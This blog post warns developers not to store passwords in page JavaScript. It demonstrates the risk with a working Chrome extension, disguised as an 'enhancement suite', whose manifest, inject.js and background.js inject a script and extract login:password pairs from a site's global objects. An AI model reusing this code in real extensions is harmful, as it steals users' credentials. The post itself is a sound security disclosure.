Hack of the Day: Javascript Transport via Chrome Extensions

In the beginning of a project it is common to cut corners to save time. Security is often the first to be sacrificed because you might not be dealing with terribly sensitive information and who really wants to hack your crowd-sourced “Netflix for knives” pinterest-clone, anyway?

However, there are some poor security decisions I’ve been alarmed to discover recently on a number of websites. These sites that I use and enjoy have made the cardinal sin of storing passwords in plain text in Javascript. This is a Bad Idea® for a number of reasons and no amount of https is going to save you.

But what about the same origin policy, you say? Won’t that keep people from viewing my Javascript variables and functions?

In short: yes, but this doesn’t account for the real threat. In the age of browser plugins, extensions, and add-ons you need to worry about Javascript access from inside the browser itself.

Case Study: Harvesting Passwords in Chrome

Imagine your website for some reason stores passwords in Javascript because after reading about Chrome Extensions you might have (falsely) concluded that extensions cannot “use variables or functions defined by their extension’s pages”.

Content scripts [extensions] execute in a special environment called an isolated world. They have access to the DOM of the page they are injected into, but not to any JavaScript variables or functions created by the page. It looks to each content script as if there is no other JavaScript executing on the page it is running on. The same is true in reverse: JavaScript running on the page cannot call any functions or access any variables defined by content scripts.

Google seems to suggest that your Javascript variables and functions are safe. This is valid…to a point. You cannot access Javascript variables directly but it is perfectly acceptable to inject JS into the page and use the DOM to shuttle data back and forth between the page JS and the extension JS.

The Reveal

First, create a Chrome extension that inserts inject.js into all pages on https://weakwebsite.com. The main extension logic will be stored in background.js.

{
    "name": "Website Enhancement Suite",
    "version": "0.1",
    "description": "Upgrades your experience with a special surprise",
    "icons": {
        "128": "icon128.png"
    },
    "permissions": [
        "tabs", "https://weakwebsite.com/*"
        ],
    "background": {
        "scripts": [
            "jquery.min.js",
            "background.js"
            ]
    },
    "content_scripts": [
        {
        "matches": [
            "https://weakwebsite.com/*"
            ],
        "js": [
            "inject.js"
            ]
    }
    ],
    "manifest_version": 1
}

The heavy lifting is done by inject.js which serializes weakwebsite’s Globals.user.programs (a Javascript object that contains sensitive user information) and inserts it into a “dom-transfer-area” textarea where it can be subsequently read by the Chrome plugin.

// inject.js
var transferUserInfo = function() {
    var textarea = document.getElementById('transfer-dom-area');
    textarea.value = JSON.stringify(Globals.user.programs);
};

var textarea = document.createElement('textarea');
textarea.setAttribute('id', 'transfer-dom-area');
textarea.style.display = 'none';
document.body.appendChild(textarea);

var script = document.createElement('script');
script.appendChild(document.createTextNode('(' + transferUserInfo + ')();'));
document.body.appendChild(script);

chrome.extension.sendRequest({internalVariable: textarea.value});
document.body.removeChild(textarea);

With the injection in place, we deserialize the sensitive information from the DOM with background.js

// background.js
chrome.extension.onRequest.addListener(function(request, sender, sendResponse) {
  if (request.internalVariable) {
    var internal_object = JSON.parse(request.internalVariable);
      var pwnd = $.map(internal_object, function(e) {
          if (e && e.login && e.login.login) {
              return [e.login.login, e.login.password].join(':');
          }
      });
      pwnd = 'Seems we were able to find:\n\n' + pwnd.join('\n');
      chrome.extension.getViews().forEach(function(view){
          view.alert(pwnd);
      });
  }
});

Note that ANY browser plugin could perform this type of attack with very little effort (all the more reason to make sure your plugins are coming from a trusted source).

If you ever get the urge to cut corners by storing passwords in Javascript: don’t do it! I also believe Google should be more transparent in its documentation about this risk.

I have posted to github the full source of a working Chrome plugin that extracts usernames and passwords.